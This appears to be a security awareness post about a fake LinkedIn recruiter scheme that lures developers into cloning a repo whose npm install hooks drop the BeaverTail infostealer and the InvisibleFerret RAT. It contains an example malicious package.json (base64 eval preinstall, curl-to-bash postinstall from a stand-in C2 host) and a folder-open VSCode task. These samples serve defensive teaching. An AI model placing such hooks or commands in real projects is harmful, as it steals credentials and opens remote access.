🪤 Deep Dive: The Repo Trap
⚙️ Attack Chain
- LinkedIn DM: "I'm already confident in your contribution — can you review our UI workflow?"
- Clone repo:
git clone https://github.com/staufenbiel89/dtm.git - Run
npm install→preinstallhook fires immediately - BeaverTail infostealer executes, harvesting all credentials
- InvisibleFerret RAT installed for persistent remote access
🔍 Malicious vs. Legitimate package.json
// 🚩 MALICIOUS — what to look for: "scripts": { "preinstall": "node -e 'eval(Buffer.from(\"BASE64==\",\"base64\").toString())'", "postinstall": "curl https://c2-server.xyz/payload.sh | bash" } // ✅ LEGITIMATE — what safe scripts look like: "scripts": { "build": "webpack --config webpack.config.js", "test": "jest --coverage" }
🕵️ The Hidden VSCode Auto-Run Trap
These repos include a hidden .vscode/tasks.json that fires before you run any code:
// .vscode/tasks.json { "version": "2.0.0", "tasks": [{ "label": "setup", "type": "shell", "command": "node errorHandler.js", "runOptions": { "runOn": "folderOpen" } }] }
📸 Evidence
Initial DM from "Jacinta Stewart"
Profile deactivated after reporting
✅ Safe Response Protocol
- Never clone without manually reading
package.jsonfirst - Check for
.vscode/tasks.jsonbefore opening in VSCode - Run in Docker:
docker run --rm -it node:lts sh - Use GitHub Codespaces for a fully isolated environment
- Report the profile and repo to LinkedIn and GitHub
